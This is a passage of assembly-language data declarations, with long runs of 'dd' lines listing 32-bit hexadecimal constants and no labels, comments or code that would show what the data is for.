dd 59B012EFh, 7E1B891Dh, 86E1F072h, 77F8DE3Bh, 7D2B1B58h
dd 6D10CC3Dh, 98BB4F78h, 0ED590762h, 852F8641h, 0E764F218h
dd 0E5214C02h, 156D4EA5h, 3AD014ECh, 8A4A9D6Ah, 0AD97CB27h
dd 1A9602C5h, 7322A47Fh, 945265B7h, 96931051h, 0FF1110B9h
dd 0F1252B26h, 9719AA54h
dd 139F0174h, 0A46C8C40h, 760C007Ah, 79FC1677h, 996FB576h
dd 9EF7D6F9h, 4D49562Ch, 798CB894h, 9B27CDCh, 0CFB613BBh
dd 86B656E6h, 68E57E5Dh, 0DA5DE7F9h, 0A5C0B8C6h, 8B9D8447h
dd 0EDBECFC4h, 0AA5BFC37h, 1FCAFDE7h, 8D9D130Fh, 5118A45Bh
dd 64706CE9h, 0B413C005h, 0F266D07Bh, 0FB5F3322h, 0FE6463B3h
dd 348E8495h, 8D644D61h, 4E11D91Ah, 8635268Ah, 0F0381729h
dd 0FE503A8Eh, 8AB385E5h, 3FC3E0B7h, 9269287Fh, 9EDFEE71h
dd 4E0F7205h, 96ABBB04h, 0FA9969C6h, 0DBCFD169h, 3934A957h
dd 0D07EF6C2h, 68C9D29Dh, 5C3B436Bh, 936EC847h, 6C068CBFh
dd 0F2F0B8E1h, 97744B05h, 4D8A6037h, 0ED7835EAh, 0DB81EBA8h
dd 628CC37Bh, 0EF2D4804h, 96822476h, 0FFA62D8Eh, 848A74C0h
dd 0CE2D7CC9h, 0E9E287C2h, 25FA5A6Eh, 0FDF3B24Bh, 31E1FAB2h
dd 92E1030Fh, 26DAC0ACh, 0A1CF0AF5h, 0F4EF7A96h, 4CE67CA5h
dd 0DEABC469h, 0CC16F833h, 20BE7AC4h, 0B4889A73h, 0CA94BF96h
dd 0D130C41Ch, 0E0E914B2h, 147DC8ADh, 9794ACECh, 36A63270h
dd 18246640h, 834E76E4h, 0C3F3CA47h, 1989E5D2h, 983CF3C4h
dd 8BD10EC1h, 28AFD7B5h, 24DB52AAh, 3DDB405Ah, 748971BEh
dd 67906B3Fh, 0FE5F8A6h, 13CD5526h, 0D3CEB0B2h, 552618EDh
dd 66061875h, 24F04629h, 9763F583h, 0CAF432C2h, 0EF24383Bh
dd 1B9791B6h, 0CE3A3C8Ch, 5C6E5193h, 6476D303h, 0E8BC51C2h
dd 0B72420D0h, 0D7CA2B5Ah, 3172FE62h, 0AF712B23h, 0D83344C8h
dd 634E7F90h, 0C7A0C068h, 7550A726h, 0AFA0E2B1h, 4B549DFDh
dd 787F8FF1h, 3803854Ch, 140DD11Ah, 4FE3BB9Fh, 31342C92h
dd 773377DAh, 40F33ABBh, 589F1EDDh, 7761D558h, 3AC2E19Fh
dd 0BFCFAE18h, 3499C49Eh, 3532FD2h, 7F1AD99Ch, 0AD42ED71h
dd 0D30E7A97h, 3EEEF25Fh, 6FD72EB7h, 7556EE45h, 0A373E065h
dd 7AFC350h, 729924FDh, 7C00CCC9h, 0F2138EDFh, 5B35DC22h
dd 14859929h, 0C91D457Eh, 24DCEE6Ah, 0F1FCA5C7h, 0A0CB5651h
dd 49B65B4Eh, 792836E6h, 6EC1C797h, 86880BDEh, 1C3DCEAAh
dd 2666AF1Dh, 0A411ABF0h, 0FEC60558h, 0A9A0D4CAh, 0D74D8906h
dd 0F8238868h, 27F838CEh, 0FC79C44Bh, 0E02887F1h, 5234E44Dh
dd 6CDBC0A9h, 5D5DF9FCh, 57AE506Fh, 973B9979h, 0C89C9075h
dd 4AE292E6h, 0E93409A0h, 6937CB38h, 7CC1CE45h, 2C1AC1B1h
dd 904009F2h, 231478D8h, 0DFAA9375h, 554CCB17h, 9D348EEDh
dd 8D7DDB32h, 0AAAD8E0Eh, 0C42A1785h, 0E21174FEh, 93F040ECh
dd 0D897DE86h, 0B36D9154h, 0DB3F775Dh, 895AEB92h, 1F113355h
dd 0DDFE1F05h, 0F7BD49A4h, 946F5876h, 0DFC0299Ah, 0F743F1E9h
dd 8AA85711h, 2799C35Fh, 99F7748Dh, 726E5A3Dh, 1C3D91D3h
dd 0C4C0FE04h, 181F4AFBh, 6F366261h, 2016C477h, 41751DC4h
dd 7E487B35h, 8D3F7B14h, 81671CDBh, 3786128Eh, 37D1C43Bh
dd 0A6DD3B3Ah, 8ED2A7FBh, 9AFEBCA4h, 924E98D2h, 352EFBFAh
dd 869BFAE1h, 0D0241FF0h, 4895B2B6h, 0B70C8BFh, 843409DFh
dd 0CD921EE4h, 0F3B03F97h, 6F9C4539h, 0FD9B9023h, 0F973A34Ch
dd 1916FF1Fh, 8EAD4C55h, 4F803C4Bh, 861E6D00h, 301C984Ah
dd 0E4694349h, 0DADFD35Bh, 0F7106FD7h, 7C24B5ADh, 0E5D77CA6h
dd 0CAFD6BF4h, 0DAC7CD93h, 0F6955DD7h, 3D75DF30h, 95382A95h
dd 478F8FBCh, 67E14362h, 0E0D2E3DFh, 0E8273D3Bh, 288823F9h
dd 4BA37D37h, 0F8858159h, 0B68045C2h, 25D77F85h, 3BEBAB5Eh
dd 4EBD9632h, 11959263h, 0DB9193E3h, 0BBB0C18Ah, 7AC1E770h
dd 0AB2B3933h, 0ADF46094h, 0B1B274E5h, 92CB4F3Ch, 9CD03E73h
dd 3FB0817Fh, 0EBC73706h, 41B207ACh, 0B853C9E1h, 3DCD4E6Eh
dd 0BB859FC3h, 16AF14D0h, 668F036Eh, 0E01B5DD1h, 71F67BC4h
dd 131CF674h, 0F96A1EDCh, 6767DEE6h, 0AA3DB5F2h, 4113DBBDh
dd 62B4D682h, 0D958C9ADh, 0F7B619D6h, 59F04873h, 0B61B8A26h
dd 0DD22A140h, 0C7B98B3Bh, 0DB2162EEh, 249BC39h, 0E14EC130h
dd 90D90715h, 0DFC4C77h, 0FA222C1Eh, 5D4072DFh, 0AC7D47B8h
dd 0BEDD4EAh, 7AC2F495h, 5A80FA1Eh, 0AEF2624Bh, 0C9CF78F9h
dd 22A50F0Ch, 42715AF4h, 7DC15413h, 83509E53h, 67DA2991h
dd 80C86EA6h, 6CFDA29Bh, 2E2B89C1h, 611E5FD0h, 25801C9h
dd 43F85EAh, 0ED69A81h, 947EB5A4h, 611F56CDh, 0FD13562Bh
dd 0C7C5843Bh, 73AF251Dh, 0B7E2DD72h, 87049700h, 0B225D012h
dd 0E43000CFh, 7F712C0Fh, 0CF1B3616h, 3B0F3591h, 0B6748FBh
dd 0C164BD71h, 8C4B661h, 952F2B13h, 596CBF2Ch, 5393BE6Eh
dd 0EC6B9193h, 8B0789C0h, 784C676Ah, 0FDC33F9Ch, 549D6CBDh
dd 6664B7DEh, 7EE16A43h, 1572633Bh, 0ADA37CF2h, 0BF32A916h
dd 0C4D2B20Bh, 0EEF33D28h, 86726A90h, 0C6AA600Ah, 8A73F283h
dd 53483632h, 0F59CED8Dh, 1BC85F6Eh, 6DBD6809h, 0CC30752h
dd 5EA3D98Bh, 401F4E14h, 75178F58h, 84A3186Eh, 4CDB4F7Dh
dd 30902F7Fh, 0BA8BCE40h, 6FBB6C8h, 0EAB8242h, 6929AC04h
dd 0C9E29D72h, 3ECB52ACh, 84F73ED8h, 0B5D10EA1h, 0E3933094h
dd 0AC0F210Ch, 5CAFD6D6h, 0B4A5F376h, 0F62A836Dh, 0AF2E575Eh
dd 0A2A9589Eh, 2B917114h, 313A5DD3h, 58921C37h, 9C555A61h
dd 5F2DA7B6h, 0EB407511h, 0B52C4EE2h, 86280236h, 3AAE513Fh
dd 5D9BA5A0h, 67F48668h, 28C7F4DAh, 0BCFD7F57h, 3AF8F68Ah
dd 0A6379F77h, 5F62A86h, 0E7228CD6h, 4FD85F10h, 0AC660FCAh
dd 837194B6h, 0D63377Eh, 0D49D0DB0h, 25A864F9h, 0A52316D9h
dd 0A55C01C2h, 0EF1559BFh, 59B5F397h, 659C32Eh, 0BD695806h
dd 37D6A57h, 0E5628F2Ch, 5DE6885Dh, 723CA9FCh, 0CEFC8B89h
dd 0F0D38055h, 699923h, 0A257262Ch, 0EC10C41h, 651A61FFh
dd 0F57CCCD2h, 6091F3D8h, 0F9BAF01Dh, 64584507h, 0BA58FA08h
dd 0E28F2073h, 5FF01C4h, 0E18ECB3Eh, 8294A582h, 516072F2h
dd 0E0E24859h, 0CEF94E68h, 0B1E5B64h, 0B98CA4F4h, 0ED9C29E8h
dd 1C8EF9E6h, 5B9B5399h, 18F486F5h, 0B329FF6Ah, 58A5D320h
dd 4F1A3C05h, 57D62AE1h, 7CE9BCF3h, 888C56AEh, 742735ABh
dd 84784AE8h, 5F33087Ah, 96F41980h, 973609B4h, 0F67CD608h
dd 0C1E2D502h, 0E8D82158h, 0B6F76CEFh, 89802EB7h, 7780ED9Fh
dd 906B1A2Ah, 0EADB7D67h, 89EEFF0Dh, 5CC752E0h, 0CA6B2651h
dd 1F5863CEh, 0B6ABE228h, 0FF5AE01Ah, 9C730E58h, 3BAC1C66h
dd 79C9DB3Eh, 42495096h, 0DCDF113h, 0E6B25995h, 0A271FC9h
dd 7E91D300h, 0CB3C97D5h, 0D5FEC2C5h, 0D2631D49h, 0D713CA59h
dd 59FD555Bh, 4A266C88h, 0E4894452h, 0D2046CD2h, 0A855A73Dh
dd 0A60BE227h, 6F6B5431h, 0F0835805h, 0B2C061BBh, 2FA00966h
dd 6825DFE8h, 64CEB2FBh, 0DC798115h, 0EC6DEE53h, 8AD0295Ah
dd 0B7E59C0Eh, 982017B5h, 0BBCC0C72h, 0CF5EAB2Bh, 4819F821h
dd 176012A0h, 0CB465CA9h, 9DA6FA72h, 34750C96h, 0BE13891Ah
dd 0E151AEBFh, 8B2D1E3Dh, 31FAA546h, 4F6ECA96h, 34AF9B13h
dd 0B4E36EBFh, 770EC5EAh, 112C9658h, 6B69B69h, 0DFB574Fh
dd 0D6C43A79h, 50461E50h, 2D9C07C3h, 0EBB3A3BCh, 0B12DE7EBh
dd 0E53AC8E0h, 6AC28404h, 0B46EF71h, 52531A52h, 0E69D74E8h
dd 49F1947Dh, 6AAFF466h, 0BF65526Ah, 13F6B9AAh, 0A437F8A9h
dd 0EE2A5B64h, 1B88A8C3h, 81EE5823h, 0D38D878Ch, 0A1FBBE8Ah
dd 0ECDFE752h, 54EE1D6Dh, 7615CA9h, 0E583F35Fh, 77F1B2C6h
dd 0FD285484h, 0A961EC3Fh
dd 0E0125333h, 0B215E663h, 0E37481CDh, 0FEA21A73h, 82925E38h
dd 3F0DABACh, 0CF1BC066h, 2AA9E329h, 3FAF6A6Dh, 0BF7B960Ch
dd 497317A1h, 0A277CC54h, 0F007FDDBh, 387393F0h, 429FE975h
dd 55975B43h, 4671F77h, 0AA311876h, 6821AC5h, 1F854A9Fh
dd 19C5F331h, 9C7248Ah, 1569D4D3h, 0E17AF858h, 52E7BF6Bh
dd 3C5F8B9Dh, 3BD6B96Ch, 658D3006h, 0EF63144Ah, 67E9104Eh
dd 3DED855Fh, 1720BECDh, 36192A93h, 7E70D6C3h, 0F405C1Fh
dd 250DA498h, 0F450CC10h, 7B09A5Ch, 3C95B620h, 8F59E473h
dd 0C47A7376h, 0A8B61723h, 25AC0C31h, 0D1789837h, 0B21E1531h
dd 986DAB1Ch, 5F293DCh, 0EBEF2FBCh, 202E90ABh, 7A0B64F6h
dd 9A5F707Bh, 0BA99AFB7h, 8116740Fh, 0C0F4A8A8h, 4620B361h
dd 0E343AA5h, 1C90B04Dh, 0E6D61610h, 657D185Ah, 9D11D714h
dd 9DF1F2A1h, 0D3978EB2h, 24684B2Ah, 0CEAC62AAh, 6D78CB4Bh
dd 2B391870h, 623AD421h, 783BCFBFh, 0A65B0FC9h, 0A54E413Fh
dd 0EE0A4978h, 31B3CBBFh, 9A66EC54h, 992F47AFh, 0A670015Eh
dd 887E11AAh, 0D05D0BCEh, 0A21C9AABh, 0E0541214h, 0AF53C56Fh
dd 241E8780h, 8CA1DDF8h, 4874BE48h, 0DCA09D81h, 5181D425h
dd 4A341B09h, 7DB974D5h, 0CE77C0F3h, 0EDA3E257h, 486A54A9h
dd 5290F32h, 0AFFB0686h, 0E1C5303Fh, 13AC9E1Bh, 0F2A6876Ch
dd 0B992FDCFh, 0B320F4A4h, 1D72439Ch, 0D59AEBD6h, 7F565D70h
dd 6EBAC864h, 0EB9B2F3Ah, 0A80FFB5Ch, 0A4034111h, 5C2A1065h
dd 0FF835452h, 65D4BFFAh, 0CC5AE6h, 69598566h, 0D4417C22h
dd 7690A598h, 45E9EFF8h, 0CA53BB72h, 314C64B2h, 3BD90296h
dd 3F687E1h, 4C471511h, 10ADBC49h, 95548137h, 14A54434h
dd 9505D9AAh, 0FEA142C7h, 3C58FABEh, 80A9EE70h, 6C0FE2FBh
dd 0A03A1283h, 0BAF936B6h, 70F0BFB0h, 2763B924h, 421606E6h
dd 0B96661B9h, 0A7F0320Fh, 0BBD3ABAFh, 0DC7E99B8h, 95C9EFE5h
dd 83DA9CA3h, 6A1FEC45h, 1DE2F08h, 0C811DE1h, 15DB2CB3h
dd 1D730ED3h, 342D90B7h, 46672490h, 8B7812A7h, 10EBA71Eh
dd 0FDB99801h, 364949DEh, 4BA9FCC4h, 2F91ECB6h, 488212FAh
dd 641B650Ah, 2ED24332h, 0A8334516h, 0B82A58F0h, 6DA89E93h
dd 12655289h, 9C57C743h, 59C6290Fh, 20752Ah, 699E1174h
dd 0CA1AED35h, 0ED10AE25h, 0AF9A894Bh, 333FD405h, 0F2F26F54h
dd 1671BE06h, 75DC90A7h, 0D207D277h, 0F5B6894h, 3B77B549h
dd 66CF57EFh, 4C1BF715h, 300E5AA1h, 6FCA747Bh, 0C69D56F0h
dd 3AADD73Fh, 3BE77BAAh, 0D8B6C54h, 5B265A72h, 2E1178A1h
dd 0A9DBC6BBh, 3F271DA0h, 791F79F7h, 72A8BF2Ah, 0E18759EAh
dd 0C9CFABBDh, 0BB9A1858h, 0EA2ADE10h, 0FE94D571h, 0ADF7A5AAh
dd 58702E0Ah, 77FDA6CEh, 0BC323F2Dh, 0D3BC18Ch, 850E6D91h
dd 4C418DBDh, 0CBFDCFFFh, 9F048E2Fh, 0B848DEFCh, 2743BEE8h
dd 0B45C97CDh, 0CDBB9A37h, 81566E29h, 0A1386357h, 0AEA6D206h
dd 0B853C775h, 69DA8762h, 0B11EFDBAh, 0EF72CA73h, 0D7579ED5h
dd 0F2F5C9B6h, 0CCA40006h, 0F3ED3AF9h, 0CC4FCBAh, 0A5C89EBFh
dd 0B60B047Eh, 5572BFB9h, 0B00D809Bh, 0F168C21h, 0C4F24401h
dd 34EB19F6h, 8610D27Ch, 3ECFE24Fh, 0F6AE3A9Bh, 0A9CAF6Ch
dd 0C4DFD07Bh, 0FEBFFC8Bh, 33B991BAh, 1D5BA6E9h, 3B981EFDh
dd 7120C824h, 0E128A218h, 8C339087h, 398E4022h, 3CCF6519h
dd 0E1281636h, 332D9BF3h, 0A3379FFAh, 3C28034Ch, 4C5BD5DBh
dd 0ED2B98A5h, 0B3513FE4h, 24910AABh, 49A8078Eh, 32D94B01h
dd 0E173AB2Bh, 7359B125h, 24B5C1A5h, 4779EFC4h, 0DB6BC1B3h
dd 88C82C12h, 5E32AFE4h, 0AEB3C7DDh, 7F59FC00h, 0C24F4456h
dd 8016052Fh, 70B4C54h, 0BD8D0C3Fh, 0B56C9651h, 6E518E7Ah
dd 4611B808h, 0BECB515Bh, 0B194409Dh, 0A865A285h, 87E36613h
dd 230EEC9h, 0C336D49Ah, 12AD33CCh, 633FA459h, 0A2A1D471h
dd 0F3F9E24Ch, 24C03653h, 0E19191BFh, 7B878FFh, 8BAB05FEh
dd 0FEF1B5D6h, 0B47663CCh, 6B7DE39Ah, 28452905h, 556E93F9h
dd 0C8B9D94Eh, 8FE565DAh, 0F98EFC0h, 962B4745h, 8233EDABh
dd 1E8C99D5h, 97FC81Eh, 7FBA268Ah, 8502FC35h, 0A9DA7CD3h
dd 830BE952h, 0AD641064h, 0D3EBB607h, 8A88A60Bh, 0E57B9622h
dd 0E2CA21F5h, 3401F462h, 4D8AA2D1h, 4D9DEE98h, 68AABE38h
dd 48679D51h, 4CB5AF08h, 40ECB726h, 0FFD7A5C1h, 90156B81h
dd 27DD1F3Dh, 26F70AAEh, 0EDEB5CA5h, 47A5A04Ch, 85CD748Fh
dd 7F4B4AC1h, 0F16252E2h, 0DB334403h, 7D52B212h, 40CE4F70h
dd 8BD61875h, 57394B35h, 1BCF2DD5h, 1224198Fh, 0C8175192h
dd 0AF576CF1h, 0C51F8284h, 3E567B03h, 0B3D56783h, 37B5DB2Fh
dd 5040889Ch, 5950F9E0h, 0EBDF562h, 2989C1BEh, 5C019ACFh
dd 0E11C436Eh, 0AEE6B69Bh, 0ECFA3E2h, 22BE895Fh, 0B61059B6h
dd 9D6281C6h, 0B621E071h, 68650222h, 0F8A3C586h, 0A6FC1527h
dd 0E4BA08F7h, 0B0E33F48h, 0CDE42BFBh, 0B2E63918h, 12717F2Ah
dd 0C7A7FB19h, 0BEC69E33h, 0A8C219AFh, 94FD6E65h, 0D5CC1AB4h
dd 0FD91E47Fh, 0CB710649h, 69748EE9h, 0A45989BEh, 678EB923h
dd 0B44DC3FAh, 2EC8F657h, 9EC8DD1Fh, 47CE8444h, 0A95F0958h
dd 46B7E015h, 0A8CD84BCh, 9B266325h, 0B5C5E293h, 591B31D9h
dd 0A18487D7h, 281580F9h, 3679EE87h, 52C8E6Ah, 5DEB6E78h
dd 80D4BEB5h, 182DF6Dh, 0C1D2B1C3h, 23D5E78Ch, 65629410h
dd 62A98734h, 72333A97h, 583CBFA4h, 6BE46CFAh, 93BDF14Ch
dd 58836678h, 38593E48h, 0B3442DC2h, 0B0E3CE6Bh, 6295E750h
dd 2BD19599h, 1B7862FBh, 51DF2606h, 0B56A6699h, 3EDF0ABBh
dd 92CA8977h, 213F1FAh, 1BB75BECh, 5B1A0BFh, 491E2FE5h
dd 3AA788Dh, 46C64E13h, 30960074h, 0EE6C7143h, 15753119h
dd 14AA921Ah, 8ABBF59Ch, 0BC81894Dh, 325BB648h, 0D60D04BAh
dd 0B5846A8h, 2148E417h, 0CCD8991h, 5829E4B5h, 0EFF0AD49h
dd 4777D382h, 25F42264h, 36D6E7BAh, 4C0F864Dh, 64499928h
dd 0AD20E143h, 0FB39BFFCh, 0F9091B7Eh, 0F26C2160h, 74DB7406h
dd 0BAC1C8BEh, 0F4DF7603h, 0B1BC7168h, 50175A5h, 6D6DCC5Fh
dd 276E6141h, 6B385854h, 5CA43C94h, 0A95C6AAh, 0B95867Dh
dd 195C49DDh, 50AAF4CBh, 0E3C06774h, 0FBC5DB0Fh, 3F53AAE4h
dd 76F827A8h, 419C36AAh, 20D4A55Fh, 0F4E8D76Ch, 6E0566D3h
dd 2E7A8959h, 0A93BA8B9h, 0E0823FF8h, 0ADE0DD69h, 0AC905065h
dd 3E4B9501h, 0B9C0454Bh, 9F0C283Eh, 971A084Dh, 0DEDEFE6Dh
dd 9D4BF7Eh, 90E68C80h, 75A94625h, 6848E831h, 383439D4h
dd 0F2E9FF73h, 0B628A223h, 13A7A8C6h, 0C444A0h, 0B5B6578Ah
dd 0CF29E700h, 0E6E5C906h, 0DDD6DF24h, 0B375977Ch, 0C6B41278h
dd 0EEFE6796h, 0B1CB7BBCh, 0DE6FEE3Fh, 60374C12h, 4A545981h
dd 51A2069Ah, 0BA8CC211h, 0FADFD1ACh, 0AC4593DBh, 3F0F91A0h
dd 0B2DA562Eh, 7284FCBDh, 0B30AAA1Eh, 2D682BE3h, 0D4CDC05Fh
dd 854DFEF3h, 94A239F3h, 7C2C5DA8h, 4341C58Dh, 7209513Eh
dd 850DECE9h, 546DDC42h, 86479575h, 0F2A54DC9h, 1556484Dh
dd 0F4379739h, 0D39668D1h, 9301F28Fh, 27AE2354h, 0ED8D7493h
dd 0EEC64740h, 0DCF7BA9Ah, 709715Ah, 3AC22333h, 3EDEDA6Eh
dd 2F30A5E0h, 0FCFA5DC7h, 7585D464h, 0CCB1E8DEh, 113EFA20h
dd 508DB276h, 2F924C83h, 44F61C9Dh, 606A5A7h, 49FFC62Bh
dd 0BF8E14F2h, 0E8845E92h
dd 0B7156019h, 0F8FD4D9Eh, 6D9A3839h, 407B3EBCh, 90E93013h
dd 1F92BD06h, 94DC0727h, 3D596D50h, 0AF258CD5h, 681C9E69h
dd 0F5849C64h, 0E8543D90h, 19533D62h, 66B41ED3h, 9EB8711Ch
dd 4AE52B34h, 2C0F518Bh, 2974F7A3h, 0EBBB4DF7h, 302ED23Fh
dd 0D61CE092h, 4E9A6EDCh, 0DD1C5790h, 75BAFF9Fh, 247B30B0h
dd 201465C0h, 0CF045E24h, 67BE9585h, 0A246ACD5h, 347E4739h
dd 683CA9Ch, 0E3BA8C44h, 0A40B80E8h, 40A52FD4h, 0EBDF89ECh
dd 7FD292Dh, 0DA30708h, 4B8F47DEh, 48B52D17h, 0A80DADE0h
dd 0CF131959h, 3FFA6F72h, 0AED033F7h, 5FC8B97Fh, 6BC6ED91h
dd 0A8DA0536h, 0F2BC5A02h, 0E8F2A762h, 0F169398h, 0F26C2C49h
dd 0DEE9EACBh, 0BB21A6F2h, 344B41BAh, 0DB506BB1h, 40B9967Bh
dd 9051BBFCh, 0BA0FE83Fh, 456F556Ch, 3F65DE50h, 5591F328h
dd 0EF63DCB7h, 8CBADCD7h, 59F21367h, 0B3F56FF2h, 0F0EEFBEAh
dd 0FEE8D9AEh, 2A2451FDh, 741C612Ah, 5D9DF093h, 859EC881h
dd 3C28D0EFh, 0A0CA513Eh, 81B846E3h, 0D18D542Fh, 0E14DDE49h
dd 2D112BC5h, 0A6708A75h, 95A9C218h, 160E82B4h, 0E8467AAFh
dd 0F5291E1Ch, 3695EACCh, 80154932h, 0CB5FA852h, 18B7360Dh
dd 7D56F3ABh, 770B717Fh, 0D7F5BE23h, 6C59CBF7h, 0E7DC218Bh
dd 5EAFD6EEh, 5C1E0099h, 7646F0F0h, 77D4BA0Ch, 5F2C5730h
dd 0B08D0DA5h, 0BC194CE4h, 14CC3C0Fh, 38CB5C61h, 853A150h
dd 0CF14EB12h, 0BF4A6F3Fh, 0E82A10FEh, 0C81E9369h, 87481CBDh
dd 0D0AA69B6h, 1F9821CEh, 5C287B3h, 5E2E4AC2h, 8BAD6D6Fh
dd 0DBDB5CAEh, 0CB5F46A9h, 2E936E7Dh, 6D10124Ah, 777FCA5h
dd 6C37B5FFh, 451D0ED6h, 6AF300Fh, 4553A1D4h, 0B77FF7ECh
dd 0B77B6E4Fh, 263E3399h, 0CEC9D83Dh, 1F6E3A10h, 5FC5CBC3h
dd 7AB988A8h, 0B447072Dh, 0E57B8FB0h, 2B1880E4h, 0C6857621h
dd 3437A750h, 2F05DE7Dh, 31AF0019h, 0E7CEB9A2h, 0D1A2CA8Dh
dd 0DC962AB6h, 39B496EEh, 0F46EE0F0h, 3A913D60h, 6D8BD951h
dd 601EFEC8h, 5F0BD204h, 0B4C3008Ch, 2AC0C68Dh, 8A29E05Bh
dd 46EE80F9h, 2098624Ch, 5DA69282h, 0BD2D11CFh, 0FC60130Ch
dd 4D5C75C9h, 51D956B7h, 0DE4F000Ah, 4FCD99BDh, 487AD7F0h
dd 0C92E7B84h, 5822E243h, 0DADC3DBCh, 0D156C7BBh, 0A14BDA40h
dd 0B61647D0h, 5D9B0174h, 80AE0D88h, 57BC94F2h, 0C228ED07h
dd 0F7377413h, 70AB46Ah, 5844E0C0h, 79D75165h, 395EAD18h
dd 6F692710h, 0B21131F8h, 1014A058h, 0E8E0F8CDh, 61C7D870h
dd 57406F39h, 5B8C13D8h, 0D6428455h, 0AA966EF8h, 5CC35A0Eh
dd 0C6E050BCh, 0F19AE36Eh, 169E873Fh, 0BD765AFEh, 9D87529Dh
dd 0F19769CBh, 0D1E29311h, 961ACDA2h, 0CB678C49h, 37992D4Ah
dd 13370BA1h, 54156BD0h, 60C43675h, 0A881FF61h, 0D5A75567h
dd 2419EAC1h, 821B92A8h, 9EA03611h, 9DDA068Ch, 66102369h
dd 1E491E9Bh, 16CFEF5Bh, 0EA257A0Ch, 0CB9EE826h, 39C75335h
dd 42A85A28h, 21450019h, 0B27A9602h, 96FE8CCDh, 7C56A813h
dd 1F38D2BFh, 1EF080BBh, 4AD739F1h, 8F4467C0h, 7B55BD2Dh
dd 0B636A8DAh, 54101F41h, 89E4EC38h, 0A5B388FDh, 0A1C327F4h
dd 0A29E584Ch, 0BADD6102h, 0B1966E0Dh, 49D290E1h, 704643A3h
dd 0B3709C1h, 12001C30h, 0CDA316C1h, 0E4CE4615h, 25A18B5h
dd 0A5FDDB74h, 4B334837h, 0F453A9FEh, 5DA04763h, 34BBDC59h
dd 0E9AFBBB9h, 0A88AF22Ch, 47B932E8h, 3E298575h, 4F751E92h
dd 0AE1EDE1Ah, 0BD83F040h, 0B68ACE49h, 321FFDB5h, 93653EA9h
dd 5C17AC97h, 0F2682817h, 0ACE79A66h, 0A16EF9BAh, 2D1B3E82h
dd 66C2ABA4h, 8DD0C4F6h, 0ECDEF3F7h, 3F9E352Dh, 0AB91B6D0h
dd 0C1397A71h, 0F7230823h, 0C3797E0Ah, 34B47079h, 7C611A20h
dd 42A37F46h, 8ADD93E2h, 2DA04CE5h, 0C2B7B152h, 32EBD570h
dd 18052691h, 871DC370h, 0EDB4ACFFh, 3D3C6D69h, 2BE9ACE9h
dd 962F0F3Dh, 0A99F1993h, 57DFACB5h, 0F182994h, 2FAE0DCEh
dd 6354CA05h, 8C6E1803h, 4D408CDEh, 7AB9996Ch, 805A4B1Dh
dd 7131F4D5h, 5C78FF18h, 885A24EBh, 0EE16584Fh, 0A976A8F2h
dd 4C3AC297h, 0F944A0CEh, 0E468EFEDh, 85AC4AE1h, 6952F684h
dd 0D2282E5Eh, 36524B2Ch, 0FB43BF5h, 0A58E6CACh, 0FFF25834h
dd 1F825F20h, 7BD65400h, 0F5C24B7Ch, 0FED1A6CDh, 0F9D11C9Ch
dd 9CD12621h, 23559C13h, 0FB87286Dh, 0A78620A7h, 6BEF3155h
dd 0BABE8189h, 2F0F4EF4h, 0A39E04Bh, 0A1EC0732h, 9C87D4C3h
dd 3AC989B9h, 0AF950970h, 5E9A196Dh, 2B0C515h, 0FFFAF20h
dd 0DE59E5C2h, 0CF2A1C87h, 5960E242h, 3AE210B0h, 4564CBCDh
dd 143D1C82h, 0E978A37Eh, 6CBB55DEh, 0A5A87C18h, 0F79A5E9Ch
dd 0B2F49315h, 763A3C70h, 0E3D4EBB2h, 1EA07980h, 0D4686AC1h
dd 1C8C4295h, 9DB3E38Ch, 299A3FD0h, 0B9B45E0h, 0C098ED4h
dd 0A5841FA8h, 36905C8h, 0CC9BEAD4h, 0DC1C8F50h, 76D3F0EEh
dd 110616FEh, 5C8F6790h, 4E570204h, 0FA1AE19Bh, 0B16F9CDFh
dd 2D32F375h, 0A51F506h, 0D17FD734h, 32D029ABh, 0A9609B67h
dd 0F83753F5h, 7BDDA2Dh, 0D88AAA8Bh, 0BBEE09EAh, 7F0B3FE7h
dd 7C183278h, 0D3044A1Fh, 752C002Dh, 0BF48A65Fh, 84F13E77h
dd 2DB87478h, 0A0CA9286h, 0FB9A70C8h, 0F5AE5F43h, 93067448h
dd 262757A7h, 3A515F5Ah, 4CA9A7B2h, 0FA23EDE5h, 3C23F472h
dd 3C5CF15Eh, 0CC808F54h, 36B93B0Bh, 0CE52719h, 0C3871876h
dd 8FED7D6h, 4074397Fh, 0CB592AC2h, 683871Eh, 0A3309CC8h
dd 3A2367DFh, 847BEFFFh, 1B3D0EB3h, 0DF97B363h, 0A97F294Bh
dd 42CF1A6Ah, 7598B59Dh, 79DCAF34h, 0FF84AD4Eh, 0CAAD8CEAh
dd 0EEB2DA93h, 0B9EF9B1Fh, 746DA8EFh, 58D2AC71h, 0BE990FA0h
dd 0E799CDh, 6BDABBA9h, 0EE164087h, 2FE9D826h, 598D067Ch
dd 6BF39FBCh, 1256CD94h, 3CAC82C5h, 0E8F2EAE6h, 8222CF86h
dd 0C0A3A67Bh, 18D3968Eh, 7BA8B83Eh, 0B4BAF30Dh, 0AA432917h
dd 7BEACCEAh, 0D81F945Ch, 60C1A51Dh, 279AA159h, 0AC90C3CCh
dd 635E3C7h, 0A02F7438h, 30E94DFEh, 8AB28EE5h, 0A0CE63CDh
dd 0F3A80D17h, 0B1CF101Bh, 40A05046h, 0B6E420B4h, 0BD9911C8h
dd 0D341DDBEh, 0B2DAD4DDh, 5A6D7093h, 7281F8C0h, 0B781A6C8h
dd 0EF0021F4h, 96720CB8h, 95927418h, 0ABB11BF1h, 0B4442A1Dh
dd 551D229h, 0EB80275Ah, 6C56E59Ah, 13F521D4h, 7C566529h
dd 84C060FAh, 3988F098h, 340BC2DEh, 0E4AF9F94h, 0EE2EFEFEh
dd 0FA396795h, 1A19617Dh, 0CE471AB9h, 0B570D958h, 93866990h
dd 0A8CBB6CFh, 5E3826D2h, 9A1D79C2h, 6BD855D5h, 0D3C5E8DDh
dd 44024ABEh, 0AD01C2C0h, 915F182Bh, 753E88E1h, 2C94D76h
dd 0A5F98DEFh, 24EB5811h, 31B4341Ah, 0D4EDC932h, 0D73DFD90h
dd 57B47B53h, 5621ABBh, 2E4F50C1h, 0F9CA6765h, 5B231D9h
dd 0EF59B096h, 0AA235B21h, 0DD678B88h, 5C2F74F5h, 6921F3Dh
dd 34115493h, 0A69F0FBEh, 81987FA6h, 683DB376h, 4DCB06FAh
dd 0C41E0D92h, 0C59778F4h, 5999EA28h, 0EE246EC7h, 0CEE90129h
dd 0ABAA440Fh, 0FB7133Fh, 5D8D0511h, 97BD11D5h, 0D8F31F4Dh
dd 3568D949h, 9508BC5h, 0F4E3A48Eh, 449182E6h, 0FA786EA9h
